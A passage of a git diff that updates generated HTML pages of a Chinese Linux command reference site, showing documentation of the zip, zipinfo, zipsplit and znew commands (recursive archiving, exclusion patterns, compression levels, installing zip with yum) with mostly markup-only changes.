    上面的命令操作是将绝对地址的文件及文件夹进行压缩,以下给出压缩相对路径目录,比如目前在Bliux这个目录下,执行以下操作可以达到以上同样的效果:

    -
    zip -q -r html.zip html
    +
    zip -q -r html.zip html
     

    比如现在我的html目录下,我操作的zip压缩命令是:

    -
    zip -q -r html.zip *
    +
    zip -q -r html.zip *
     

    压缩 example/basic/ 目录内容到 basic.zip 压缩包中 -x 指定排除目录,注意没有双引号将不起作用。

    -
    zip -r basic.zip example/basic/ -x "example/basic/node_modules/*" -x "example/basic/build/*" -x "example/basic/coverage/*"
    +
    zip -r basic.zip example/basic/ -x "example/basic/node_modules/*" -x "example/basic/build/*" -x "example/basic/coverage/*"
     

    上面压缩解压出来,内容存放在 example/basic/, 如果想存放到根目录,进入目录进行压缩,目前没有找到一个合适的参数来解决此问题。

    @@ -218,19 +218,19 @@ customElements.define('markdown-style', MarkdownStyle);

    压缩效率选择:

    -
    zip -9 # 1-9 faster->better
    +
    zip -9 # 1-9 faster->better
     

    创建 public_html 目录下忽略所有文件和文件夹,排除包括文本 backup 的所有文件。

    -
    $ zip -r public_html.zip public_html -x *backup*
    +
    $ zip -r public_html.zip public_html -x *backup*
     

    httpdocs 目录忽略 .svn 文件或 git 的文件和目录下创建所有文件的归档。

    -
    $ zip -r httpdocs.zip httpdocs --exclude *.svn* --exclude *.git*
    +
    $ zip -r httpdocs.zip httpdocs --exclude *.svn* --exclude *.git*
     

    httpdocs 目录忽略的所有文件,并与 .log 结尾的目录下创建所有文件的归档。

    -
    $ zip -r httpdocs.zip httpdocs --exclude "*.log"
    +
    $ zip -r httpdocs.zip httpdocs --exclude "*.log"
     

    问题解决

    @@ -239,10 +239,10 @@ customElements.define('markdown-style', MarkdownStyle);

    解决方法

    -
    yum install -y unzip zip
    +
    yum install -y unzip zip
     
    - - + + \ No newline at end of file diff --git a/c/zipinfo.html b/c/zipinfo.html index ef18ce3543..6033ef05b4 100644 --- a/c/zipinfo.html +++ b/c/zipinfo.html @@ -9,7 +9,7 @@ zipinfo 命令,Linux zipinfo 命令详解:用来列出压缩文件信息 - Linux 命令搜索引擎 - + @@ -149,7 +149,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:指定zip格式的压缩包。

    - - + + \ No newline at end of file diff --git a/c/zipsplit.html b/c/zipsplit.html index 3877f7c618..c640361f54 100644 --- a/c/zipsplit.html +++ b/c/zipsplit.html @@ -9,7 +9,7 @@ zipsplit 命令,Linux zipsplit 命令详解:将较大的zip压缩包分割成各个较小的压缩包 - Linux 命令搜索引擎 - + @@ -131,7 +131,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:指定要分割的zip压缩包。

    - - + + \ No newline at end of file diff --git a/c/znew.html b/c/znew.html index d3f7c8c524..4146e28731 100644 --- a/c/znew.html +++ b/c/znew.html @@ -9,7 +9,7 @@ znew 命令,Linux znew 命令详解:将.Z压缩包重新转化为gzip命令压缩的.gz压缩包 - Linux 命令搜索引擎 - + @@ -137,7 +137,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:指定compress指令压缩生成的“.Z”压缩包。

    - - + + \ No newline at end of file diff --git a/contributors.html b/contributors.html index 319ae7deac..6fc9cc2c2b 100644 --- a/contributors.html +++ b/contributors.html @@ -9,7 +9,7 @@ 搜索 命令,Linux 搜索 命令详解:最专业的Linux命令大全,命令搜索引擎,内容包含Linux命令手册、详解、学习,值得收藏的Linux命令速查手册。 - Linux 命令搜索引擎 - + @@ -264,7 +264,7 @@ 581
    个Linux命令,超过 50+ 贡献者 - - + + diff --git a/hot.html b/hot.html index 77a1f573c5..8ea235ad35 100644 --- a/hot.html +++ b/hot.html @@ -9,7 +9,7 @@ 搜索 命令,Linux 搜索 命令详解:最专业的Linux命令大全,命令搜索引擎,内容包含Linux命令手册、详解、学习,值得收藏的Linux命令速查手册。 - Linux 命令搜索引擎 - + @@ -1221,7 +1221,7 @@ 581 个Linux命令,超过 50+ 贡献者 - - + + diff --git a/index.html b/index.html index ad4b2b77bb..1620a546da 100644 --- a/index.html +++ b/index.html @@ -9,7 +9,7 @@ Linux命令搜索引擎 命令,Linux Linux命令搜索引擎 命令详解:最专业的Linux命令大全,内容包含Linux命令手册、详解、学习,值得收藏的Linux命令速查手册。 - Linux 命令搜索引擎 - + @@ -56,7 +56,7 @@ 个Linux命令,超过 50+ 贡献者 - - + + \ No newline at end of file diff --git a/linux-command.docset.zip b/linux-command.docset.zip index c8590f7985..6905d06879 100644 Binary files a/linux-command.docset.zip and b/linux-command.docset.zip differ diff --git a/list.html b/list.html index 9313e8346f..191b3b3406 100644 --- a/list.html +++ b/list.html @@ -9,7 +9,7 @@ 搜索 命令,Linux 搜索 命令详解:最专业的Linux命令大全,命令搜索引擎,内容包含Linux命令手册、详解、学习,值得收藏的Linux命令速查手册。 - Linux 命令搜索引擎 - + @@ -63,7 +63,7 @@ 581 个Linux命令,超过 50+ 贡献者 - - + + \ No newline at end of file